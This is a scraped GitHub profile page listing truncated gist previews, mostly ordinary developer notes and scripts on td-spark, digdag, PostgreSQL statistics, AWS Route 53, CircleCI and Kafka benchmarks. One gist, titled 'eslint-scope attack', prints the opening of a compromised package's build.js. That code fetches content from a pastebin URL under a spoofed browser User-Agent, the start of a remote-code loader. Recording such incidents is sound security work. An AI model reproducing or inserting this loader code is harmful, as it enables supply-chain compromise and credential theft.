Skip to content

Instantly share code, notes, and snippets.

View szyn's full-sized avatar
🐟
SUZUKI

Shota Suzuki szyn

🐟
SUZUKI
38 followers · 43 following
View GitHub Profile
@xerial
xerial / td-spark-usage.md
Last active September 20, 2022 11:19
td-spark usage notes

td-spark usage notes

What You Can Do With td-spark

  • Reading and writing tables in TD through DataFrames of Spark.
  • Running Spark SQL queries against DataFrames.
  • Submitting Presto SQL queries to TD and reading the query results as DataFrame.
  • If you use PySpark, you can use both Spark's DataFrames and Pandas DataFrames interchangeably.
@hzoo
hzoo / build.js
Created July 12, 2018 19:20
eslint-scope attack
try {
var https = require("https");
https
.get(
{
hostname: "pastebin.com",
path: "/raw/XLeVP82h",
headers: {
"User-Agent":
"Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0",
@serihiro
serihiro / note.md
Last active January 17, 2019 02:52
digdagのUTからtaskが実際に実行されるまでの流れ

これは何か

  • treasure-data/digdag#701 このバグを自分で報告したので自分で直せるかなと思ってdigdagのretry機構を調べようした
  • そしたら、そもそもdigdagの全体像が全く分からないことに気付いた
  • テストコードを適当に見ていったらWorkflowExecutorTest.retryOnGroupingTask()のテストケースが、実際にdigファイルを渡してworkflowを実行するテストケースだったので、コレを使ってどのようにdigdagがworkflowを実行しているのかをまず調べることにした <- イマココ

雑に当たりをつけて見つけたoperatorにおけるretry実装箇所

@anvk
anvk / psql_useful_stat_queries.sql
Last active December 21, 2025 10:46
List of some useful Stat Queries for PSQL
--- PSQL queries which also duplicated from https://github.com/anvk/AwesomePSQLList/blob/master/README.md
--- some of them taken from https://www.slideshare.net/alexeylesovsky/deep-dive-into-postgresql-statistics-54594192
-- I'm not an expert in PSQL. Just a developer who is trying to accumulate useful stat queries which could potentially explain problems in your Postgres DB.
------------
-- Basics --
------------
-- Get indexes of tables
@earljon
earljon / aws_route53_delete.sh
Created August 15, 2017 08:58
Delete a Route 53 Record Set in AWS CLI
#!/bin/sh
# NOTE:
# Make sure that the value of Name, Type, TTL are the same with your DNS Record Set
HOSTED_ZONE_ID=<YOUR_HOSTED_ZONE_ID>
RESOURCE_VALUE=<YOUR_DNS_RESOURCE_VALUE-ex:IP or dns>
DNS_NAME=<YOUR_DNS_NAME-ex: subdomain.domain.com>
RECORD_TYPE=<DNS_RECORD_TYPE-ex: A, CNAME>
TTL=<TTL_VALUE>
@johnloy
johnloy / markdown-for-slide-decks.md
Last active March 17, 2026 10:16
List of markdown presentation tools
@k-hoshina
k-hoshina / circleci2-go.md
Last active April 21, 2020 01:27
circleci2.0でおもにgoをCIする

CircleCI2.0でGoをCIする

CircleCI2.0について

  • オープンβ(2017/04/12現在)
  • Native Dockerサポート
  • より自由度の高い設定
  • やたら早い(当社比二倍)

https://circleci.com/docs/2.0/

@frsyuki
frsyuki / Digdag task scan improvements.md
Last active October 1, 2020 04:30

Performance degradation due to too many active tasks

When we ran a stress testing tool on Digdag server, the server stopped running tasks. The cause was that propagateAllPlannedToDone and propagateBlockedChildrenToReady methods of io.digdag.core.workflow.WorkflowExecutor class were too slow when there're too many active tasks.

Here is the scenario:

  1. Many workflows submit many tasks.

  2. Eventually, there're a lot of tasks in PLANNED or BLOCKED tasks.

@dongjinleekr
dongjinleekr / consumer.sh
Last active August 5, 2024 08:44
Kafka benchmark commands
## Consumer Throughput: Single consumer thread, no compression
## Consumer Throughput: 3 consumer thread, no compression
bin/kafka-consumer-perf-test.sh --topic benchmark-3-3-none \
--zookeeper kafka-zk-1:2181,kafka-zk-2:2181,kafka-zk-3:2181 \
--messages 15000000 \
--threads 1
@FelicianoTech
FelicianoTech / newer-go-on-circle-example.txt
Created November 14, 2016 21:52
An example of how to use Go versions newer than v1.6.2 on CircleCI.
machine:
environment:
GODIST: "go1.7.3.linux-amd64.tar.gz"
post:
- mkdir -p downloads
- test -e download/$GODIST || curl -o download/$GODIST https://storage.googleapis.com/golang/$GODIST
- sudo rm -rf /usr/local/go
- sudo tar -C /usr/local -xzf download/$GODIST